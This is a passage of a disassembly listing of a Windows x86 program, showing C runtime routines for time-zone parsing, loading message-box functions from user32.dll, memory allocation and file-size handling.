		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_42472F
		jmp	sub_42255C
; ---------------------------------------------------------------------------


loc_42472F:				; CODE XREF: sub_42470C+Dj
					; sub_42470C+13j ...
		mov	eax, dword_4DB4A0
		test	eax, eax
		jz	short loc_42474C
		push	eax
		call	sub_4247A8
		test	eax, eax
		pop	ecx
		jz	short loc_42474C
		push	esi
		call	dword_4DB4A0
		jmp	short loc_42474E
; ---------------------------------------------------------------------------


loc_42474C:				; CODE XREF: sub_42470C+2Aj
					; sub_42470C+35j
		xor	eax, eax


loc_42474E:				; CODE XREF: sub_42470C+3Ej
		pop	esi
		retn	4
sub_42470C	endp

; ---------------------------------------------------------------------------
word_424752	dw 0C68h		; DATA XREF: ___:00429028o
; ---------------------------------------------------------------------------
		inc	edi
		inc	edx
		add	[eax+1DC7CCE8h], dl
		add	ah, byte ptr dword_4DB4A0[ebx]
		retn
; ---------------------------------------------------------------------------
byte_424763	db 0FFh			; DATA XREF: ___:00429040o
		dd 4DB4A035h, 0BAE89000h, 0C3021DC7h

; =============== S U B	R O U T	I N E =======================================



sub_424770	proc near		; CODE XREF: sub_421DB1+6Bp
					; sub_4222C2+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		nop
		call	near ptr 2600A73h
		test	eax, eax
		jz	short loc_424788
		xor	esi, esi


loc_424788:				; CODE XREF: sub_424770+14j
		mov	eax, esi
		pop	esi
		retn
sub_424770	endp


; =============== S U B	R O U T	I N E =======================================



sub_42478C	proc near		; CODE XREF: sub_4222C2+73p
					; sub_4222C2+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		nop
		call	near ptr 28F0000h
		test	eax, eax
		jz	short loc_4247A4
		xor	esi, esi


loc_4247A4:				; CODE XREF: sub_42478C+14j
		mov	eax, esi
		pop	esi
		retn
sub_42478C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247A8	proc near		; CODE XREF: sub_4222C2+15Bp
					; sub_42470C+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		nop
		call	near ptr 2600A2Fh
		test	eax, eax
		jz	short loc_4247BC
		xor	esi, esi


loc_4247BC:				; CODE XREF: sub_4247A8+10j
		mov	eax, esi
		pop	esi
		retn
sub_4247A8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42255C


loc_4247C0:				; CODE XREF: sub_42255C:loc_4225ADj
		push	0Ah
		call	sub_4235C9
		push	16h
		call	sub_425955
		pop	ecx
		pop	ecx
		push	3
		call	sub_41B7C2
; END OF FUNCTION CHUNK	FOR sub_42255C

; =============== S U B	R O U T	I N E =======================================



sub_4247D7	proc near		; CODE XREF: sub_422669:loc_4226A8p
		cmp	dword_4DB560, 0
		jnz	short locret_4247EB
		call	sub_4247EC
		inc	dword_4DB560

locret_4247EB:				; CODE XREF: sub_4247D7+7j
		retn
sub_4247D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247EC	proc near		; CODE XREF: sub_4247D7+9p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	dword_4DB4A8, ebp
		mov	dword_43CD50, ebx
		mov	dword_43CD40, ebx
		call	sub_425AC7
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_424915
		push	offset dword_4DB4B0
		nop
		call	near ptr 28A0000h
		cmp	eax, ebx
		jz	loc_424A44
		mov	eax, dword_4DB4B0
		mov	ecx, dword_4DB504
		imul	eax, 3Ch
		cmp	word_4DB4F6, bp
		push	1
		pop	edx
		mov	dword_43CCA8, eax
		mov	dword_4DB4A8, edx
		jz	short loc_424863
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	dword_43CCA8, eax


loc_424863:				; CODE XREF: sub_4247EC+69j
		cmp	word_4DB54A, bp
		jz	short loc_424887
		mov	eax, dword_4DB558
		cmp	eax, ebp
		jz	short loc_424887
		sub	eax, ecx
		mov	dword_43CCAC, edx
		imul	eax, 3Ch
		mov	dword_43CCB0, eax
		jmp	short loc_424893
; ---------------------------------------------------------------------------


loc_424887:				; CODE XREF: sub_4247EC+7Ej
					; sub_4247EC+87j
		mov	dword_43CCAC, ebp
		mov	dword_43CCB0, ebp


loc_424893:				; CODE XREF: sub_4247EC+99j
		lea	eax, [esp+14h+var_4]
		mov	esi, dword_42717C
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	off_43CD34
		push	ebx
		push	offset dword_4DB4B4
		push	edi
		push	dword_4DB344
		call	esi
		test	eax, eax
		jz	short loc_4248D0
		cmp	[esp+14h+var_4], ebp
		jnz	short loc_4248D0
		mov	eax, off_43CD34
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_4248D8
; ---------------------------------------------------------------------------


loc_4248D0:				; CODE XREF: sub_4247EC+D1j
					; sub_4247EC+D7j
		mov	eax, off_43CD34
		and	byte ptr [eax],	0


loc_4248D8:				; CODE XREF: sub_4247EC+E2j
		lea	eax, [esp+14h+var_4]
		push	eax
		push	ebp
		push	3Fh
		push	off_43CD38
		push	ebx
		push	offset dword_4DB508
		push	edi
		push	dword_4DB344
		call	esi
		test	eax, eax
		jz	loc_424A3C
		cmp	[esp+14h+var_4], ebp
		jnz	loc_424A3C
		mov	eax, off_43CD38
		and	byte ptr [eax+3Fh], 0
		jmp	loc_424A44
; ---------------------------------------------------------------------------


loc_424915:				; CODE XREF: sub_4247EC+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_424A44
		mov	eax, dword_4DB55C
		cmp	eax, ebp
		jz	short loc_424938
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_424A44


loc_424938:				; CODE XREF: sub_4247EC+139j
		push	dword_4DB55C
		call	sub_41B0B1
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41B4D5
		add	esp, 0Ch
		cmp	eax, ebp
		mov	dword_4DB55C, eax
		jz	loc_424A44
		push	esi
		push	eax
		call	sub_41BEB0
		push	3
		push	esi
		push	off_43CD34
		call	sub_41B5F0
		mov	eax, off_43CD34
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_42498D
		push	1
		inc	esi
		pop	edi


loc_42498D:				; CODE XREF: sub_4247EC+19Bj
		push	esi
		call	sub_41B6EE
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	dword_43CCA8, ecx


loc_4249A4:				; CODE XREF: sub_4247EC+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_4249B2
		cmp	al, bl
		jl	short loc_4249B5
		cmp	al, 39h
		jg	short loc_4249B5


loc_4249B2:				; CODE XREF: sub_4247EC+1BCj
		inc	esi
		jmp	short loc_4249A4
; ---------------------------------------------------------------------------


loc_4249B5:				; CODE XREF: sub_4247EC+1C0j
					; sub_4247EC+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_424A08
		inc	esi
		push	esi
		call	sub_41B6EE
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, dword_43CCA8
		add	ecx, eax
		mov	dword_43CCA8, ecx


loc_4249D3:				; CODE XREF: sub_4247EC+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_4249E0
		cmp	al, 39h
		jg	short loc_4249E0
		inc	esi
		jmp	short loc_4249D3
; ---------------------------------------------------------------------------


loc_4249E0:				; CODE XREF: sub_4247EC+1EBj
					; sub_4247EC+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_424A08
		inc	esi
		push	esi
		call	sub_41B6EE
		pop	ecx
		mov	ecx, dword_43CCA8
		add	ecx, eax
		mov	dword_43CCA8, ecx


loc_4249FB:				; CODE XREF: sub_4247EC+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_424A08
		cmp	al, 39h
		jg	short loc_424A08
		inc	esi
		jmp	short loc_4249FB
; ---------------------------------------------------------------------------


loc_424A08:				; CODE XREF: sub_4247EC+1CCj
					; sub_4247EC+1F7j ...
		cmp	edi, ebp
		jz	short loc_424A14
		neg	ecx
		mov	dword_43CCA8, ecx


loc_424A14:				; CODE XREF: sub_4247EC+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	dword_43CCAC, eax
		jz	short loc_424A3C
		push	3
		push	esi
		push	off_43CD38
		call	sub_41B5F0
		mov	eax, off_43CD38
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_424A44
; ---------------------------------------------------------------------------


loc_424A3C:				; CODE XREF: sub_4247EC+10Bj
					; sub_4247EC+115j ...
		mov	eax, off_43CD38
		and	byte ptr [eax],	0


loc_424A44:				; CODE XREF: sub_4247EC+40j
					; sub_4247EC+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_4247EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424A4A	proc near		; CODE XREF: sub_422669+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_43CCAC, edi
		jnz	short loc_424A5E


loc_424A57:				; CODE XREF: sub_424A4A+148j
					; sub_424A4A+150j ...
		xor	eax, eax
		jmp	loc_424BAA
; ---------------------------------------------------------------------------


loc_424A5E:				; CODE XREF: sub_424A4A+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, dword_43CD40
		jnz	short loc_424A7C
		cmp	eax, dword_43CD50
		jz	loc_424B7E


loc_424A7C:				; CODE XREF: sub_424A4A+24j
		cmp	dword_4DB4A8, edi
		jz	loc_424B54
		movzx	ecx, word_4DB556
		push	ecx
		cmp	word_4DB548, di
		movzx	ecx, word_4DB554
		push	ecx
		movzx	ecx, word_4DB552
		push	ecx
		movzx	ecx, word_4DB550
		push	ecx
		jnz	short loc_424ACE
		movzx	ecx, word_4DB54C
		push	edi
		push	ecx
		movzx	ecx, word_4DB54E
		push	ecx
		movzx	ecx, word_4DB54A
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_424AE2
; ---------------------------------------------------------------------------


loc_424ACE:				; CODE XREF: sub_424A4A+65j
		movzx	ecx, word_4DB54E
		push	ecx
		push	edi
		movzx	ecx, word_4DB54A
		push	edi
		push	ecx
		push	eax
		push	edi


loc_424AE2:				; CODE XREF: sub_424A4A+82j
		push	ebx
		call	sub_424BF6
		movzx	eax, word_4DB502
		add	esp, 2Ch
		cmp	word_4DB4F4, di
		push	eax
		movzx	eax, word_4DB500
		push	eax
		movzx	eax, word_4DB4FE
		push	eax
		movzx	eax, word_4DB4FC
		push	eax
		jnz	short loc_424B3C
		movzx	eax, word_4DB4F8
		push	edi
		push	eax
		movzx	eax, word_4DB4FA
		push	eax
		movzx	eax, word_4DB4F6
		push	eax
		push	dword ptr [esi+14h]
		push	ebx


loc_424B31:				; CODE XREF: sub_424A4A+108j
		push	edi
		call	sub_424BF6
		add	esp, 2Ch
		jmp	short loc_424B7E
; ---------------------------------------------------------------------------


loc_424B3C:				; CODE XREF: sub_424A4A+C8j
		movzx	eax, word_4DB4FA
		push	eax
		push	edi
		movzx	eax, word_4DB4F6
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_424B31
; ---------------------------------------------------------------------------


loc_424B54:				; CODE XREF: sub_424A4A+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_424BF6
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_424BF6
		add	esp, 58h


loc_424B7E:				; CODE XREF: sub_424A4A+2Cj
					; sub_424A4A+F0j
		mov	edx, dword_43CD44
		mov	eax, dword_43CD54
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_424BAE
		cmp	ecx, edx
		jl	loc_424A57
		cmp	ecx, eax
		jg	loc_424A57
		cmp	ecx, edx
		jle	short loc_424BC2
		cmp	ecx, eax
		jge	short loc_424BC2


loc_424BA8:				; CODE XREF: sub_424A4A+166j
					; sub_424A4A+16Aj
		mov	eax, ebx


loc_424BAA:				; CODE XREF: sub_424A4A+Fj
					; sub_424A4A+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424BAE:				; CODE XREF: sub_424A4A+144j
		cmp	ecx, eax
		jl	short loc_424BA8
		cmp	ecx, edx
		jg	short loc_424BA8
		cmp	ecx, eax
		jle	short loc_424BC2
		cmp	ecx, edx
		jl	loc_424A57


loc_424BC2:				; CODE XREF: sub_424A4A+158j
					; sub_424A4A+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_424BE9
		xor	ecx, ecx
		cmp	eax, dword_43CD48
		setnl	cl


loc_424BE5:				; CODE XREF: sub_424A4A+1AAj
		mov	eax, ecx
		jmp	short loc_424BAA
; ---------------------------------------------------------------------------


loc_424BE9:				; CODE XREF: sub_424A4A+18Ej
		xor	ecx, ecx
		cmp	eax, dword_43CD58
		setl	cl
		jmp	short loc_424BE5
sub_424A4A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424BF6	proc near		; CODE XREF: sub_424A4A+99p
					; sub_424A4A+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_424C91
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_424C21
		shl	esi, 2
		mov	eax, dword_43CD58[esi]
		jmp	short loc_424C2A
; ---------------------------------------------------------------------------


loc_424C21:				; CODE XREF: sub_424BF6+1Ej
		shl	esi, 2
		mov	eax, dword_43CD8C[esi]


loc_424C2A:				; CODE XREF: sub_424BF6+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jg	short loc_424C64
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_424C6E
; ---------------------------------------------------------------------------


loc_424C64:				; CODE XREF: sub_424BF6+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax


loc_424C6E:				; CODE XREF: sub_424BF6+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_424CAC
		cmp	[ebp+arg_8], 0
		jnz	short loc_424C82
		mov	esi, dword_43CD5C[esi]
		jmp	short loc_424C88
; ---------------------------------------------------------------------------


loc_424C82:				; CODE XREF: sub_424BF6+82j
		mov	esi, dword_43CD90[esi]


loc_424C88:				; CODE XREF: sub_424BF6+8Aj
		cmp	ecx, esi
		jle	short loc_424CAC
		sub	ecx, 7
		jmp	short loc_424CAC
; ---------------------------------------------------------------------------


loc_424C91:				; CODE XREF: sub_424BF6+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_424CA2
		mov	ecx, dword_43CD58[eax*4]
		jmp	short loc_424CA9
; ---------------------------------------------------------------------------


loc_424CA2:				; CODE XREF: sub_424BF6+A1j
		mov	ecx, dword_43CD8C[eax*4]


loc_424CA9:				; CODE XREF: sub_424BF6+AAj
		add	ecx, [ebp+arg_18]


loc_424CAC:				; CODE XREF: sub_424BF6+7Cj
					; sub_424BF6+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_424CDD
		mov	eax, [ebp+arg_1C]
		mov	dword_43CD44, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	dword_43CD40, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43CD48, eax
		jmp	short loc_424D32
; ---------------------------------------------------------------------------


loc_424CDD:				; CODE XREF: sub_424BF6+BAj
		mov	eax, [ebp+arg_1C]
		mov	dword_43CD54, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, dword_43CCB0
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43CD58, eax
		jns	short loc_424D15
		add	eax, 5265C00h
		dec	ecx
		mov	dword_43CD58, eax
		jmp	short loc_424D26
; ---------------------------------------------------------------------------


loc_424D15:				; CODE XREF: sub_424BF6+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_424D2C
		sub	eax, edx
		inc	ecx
		mov	dword_43CD58, eax


loc_424D26:				; CODE XREF: sub_424BF6+11Dj
		mov	dword_43CD54, ecx


loc_424D2C:				; CODE XREF: sub_424BF6+126j
		mov	dword_43CD50, ebx


loc_424D32:				; CODE XREF: sub_424BF6+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424BF6	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D36	proc near		; CODE XREF: ___:00422E9Dp

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_424D47
		add	esp, 0Ch
		retn
sub_424D36	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D47	proc near		; CODE XREF: sub_424D36+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_4DC7E1[eax], cl
		jnz	short loc_424D74
		cmp	[esp+arg_4], 0
		jz	short loc_424D6D
		movzx	eax, word_43C302[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_424D6F
; ---------------------------------------------------------------------------


loc_424D6D:				; CODE XREF: sub_424D47+16j
		xor	eax, eax


loc_424D6F:				; CODE XREF: sub_424D47+24j
		test	eax, eax
		jnz	short loc_424D74
		retn
; ---------------------------------------------------------------------------


loc_424D74:				; CODE XREF: sub_424D47+Fj
					; sub_424D47+2Aj
		push	1
		pop	eax
		retn
sub_424D47	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D78	proc near		; CODE XREF: sub_4235C9+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_4DB564, ebx
		push	esi
		push	edi
		jnz	short loc_424DC7
		push	offset aUser32_dll ; "user32.dll"
		call	near ptr 26B0BEDh
		nop
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_424DFD
		mov	esi, dword_4270BC
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi
		test	eax, eax
		mov	dword_4DB564, eax
		jz	short loc_424DFD
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_4DB568, eax
		call	esi
		mov	dword_4DB56C, eax


loc_424DC7:				; CODE XREF: sub_424D78+Bj
		mov	eax, dword_4DB568
		test	eax, eax
		jz	short loc_424DE6
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_424DE6
		mov	eax, dword_4DB56C
		test	eax, eax
		jz	short loc_424DE6
		push	ebx
		call	eax
		mov	ebx, eax


loc_424DE6:				; CODE XREF: sub_424D78+56j
					; sub_424D78+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_4DB564


loc_424DF9:				; CODE XREF: sub_424D78+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424DFD:				; CODE XREF: sub_424D78+1Cj
					; sub_424D78+33j
		xor	eax, eax
		jmp	short loc_424DF9
sub_424D78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424E01	proc near		; CODE XREF: sub_423936+22p
					; sub_423936+3Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		cmp	esi, 0FFFFFFE0h
		push	edi
		mov	[ebp+arg_0], esi
		ja	short loc_424E22
		test	esi, esi
		jnz	short loc_424E1C
		push	1
		pop	esi


loc_424E1C:				; CODE XREF: sub_424E01+16j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_424E22:				; CODE XREF: sub_424E01+12j
					; sub_424E01+94j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_424E81
		mov	eax, dword_4DC908
		cmp	eax, 3
		jnz	short loc_424E4D
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4DC900
		ja	short loc_424E6C
		push	eax
		call	sub_41E1CB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_424E97
		jmp	short loc_424E6C
; ---------------------------------------------------------------------------


loc_424E4D:				; CODE XREF: sub_424E01+30j
		cmp	eax, 2
		jnz	short loc_424E6C
		cmp	esi, dword_43C2F4
		ja	short loc_424E6C
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41EC6E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_424EAB


loc_424E6C:				; CODE XREF: sub_424E01+3Bj
					; sub_424E01+4Aj ...
		push	esi
		push	8
		push	dword_4DC904
		nop
		call	near ptr 27D0000h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_424EA5


loc_424E81:				; CODE XREF: sub_424E01+26j
		cmp	dword_4DB2FC, 0
		jz	short loc_424EA5
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jz	short loc_424EAE
		jmp	short loc_424E22
; ---------------------------------------------------------------------------


loc_424E97:				; CODE XREF: sub_424E01+48j
		push	[ebp+arg_0]


loc_424E9A:				; CODE XREF: sub_424E01+ABj
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch


loc_424EA5:				; CODE XREF: sub_424E01+7Ej
					; sub_424E01+87j
		mov	eax, edi


loc_424EA7:				; CODE XREF: sub_424E01+AFj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_424EAB:				; CODE XREF: sub_424E01+69j
		push	esi
		jmp	short loc_424E9A
; ---------------------------------------------------------------------------


loc_424EAE:				; CODE XREF: sub_424E01+92j
		xor	eax, eax
		jmp	short loc_424EA7
sub_424E01	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4239DB


loc_424EB2:				; CODE XREF: sub_4239DB+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_4DC5A0, esi
		jle	short loc_424F05


loc_424EC1:				; CODE XREF: sub_4239DB+1528j
		mov	eax, dword_4DB598
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_424EFC
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_424EE0
		push	eax
		call	sub_41B05B
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_424EE0
		inc	edi


loc_424EE0:				; CODE XREF: sub_4239DB+14F6j
					; sub_4239DB+1502j
		cmp	esi, 14h
		jl	short loc_424EFC
		mov	eax, dword_4DB598
		push	dword ptr [eax+esi*4]
		call	sub_41B0B1
		mov	eax, dword_4DB598
		pop	ecx
		and	dword ptr [eax+esi*4], 0


loc_424EFC:				; CODE XREF: sub_4239DB+14F0j
					; sub_4239DB+1508j
		inc	esi
		cmp	esi, dword_4DC5A0
		jl	short loc_424EC1


loc_424F05:				; CODE XREF: sub_4239DB+14E4j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_4239DB

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424F0A	proc near		; CODE XREF: sub_423A33+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41BB20
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_4DC6C0
		jnb	loc_42503F
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DC5C0[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_42503F
		push	1
		push	esi
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_425049
		push	2
		push	esi
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_425049
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_424FEC
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_41B590
		push	8000h
		push	ebx
		call	sub_425B44
		add	esp, 14h
		mov	[ebp+arg_4], eax


loc_424FA0:				; CODE XREF: sub_424F0A+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_424FAB
		mov	eax, edi


loc_424FAB:				; CODE XREF: sub_424F0A+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_424FC9
		sub	edi, eax
		test	edi, edi
		jle	short loc_424FDF
		jmp	short loc_424FA0
; ---------------------------------------------------------------------------


loc_424FC9:				; CODE XREF: sub_424F0A+B5j
		cmp	dword_4DB27C, 5
		jnz	short loc_424FDC
		mov	dword_4DB278, 0Dh


loc_424FDC:				; CODE XREF: sub_424F0A+C6j
		or	esi, 0FFFFFFFFh


loc_424FDF:				; CODE XREF: sub_424F0A+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_425B44
		pop	ecx
		pop	ecx
		jmp	short loc_42502C
; ---------------------------------------------------------------------------


loc_424FEC:				; CODE XREF: sub_424F0A+71j
		jge	short loc_42502C
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_42272B
		push	ebx
		call	sub_4238A2
		add	esp, 10h
		push	eax
		nop
		call	near ptr 2600000h
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42502C
		mov	dword_4DB278, 0Dh
		nop
		call	near ptr 2690DCCh
		mov	dword_4DB27C, eax


loc_42502C:				; CODE XREF: sub_424F0A+E0j
					; sub_424F0A:loc_424FECj ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_42504C
; ---------------------------------------------------------------------------


loc_42503F:				; CODE XREF: sub_424F0A+1Aj
					; sub_424F0A+36j
		mov	dword_4DB278, 9


loc_425049:				; CODE XREF: sub_424F0A+4Ej
					; sub_424F0A+63j
		or	eax, 0FFFFFFFFh


loc_42504C:				; CODE XREF: sub_424F0A+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_424F0A	endp


; =============== S U B	R O U T	I N E =======================================



sub_425050	proc near		; CODE XREF: sub_4241CF+2Bp
					; sub_4241CF+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_425066
		cmp	ecx, esi
		jnb	short loc_425069


loc_425066:				; CODE XREF: sub_425050+10j
		push	1
		pop	eax


loc_425069:				; CODE XREF: sub_425050+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_425050	endp


; =============== S U B	R O U T	I N E =======================================



sub_425071	proc near		; CODE XREF: sub_42512A+40p
					; sub_42512A+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250A3
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250A3
		inc	dword ptr [esi+8]


loc_4250A3:				; CODE XREF: sub_425071+19j
					; sub_425071+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
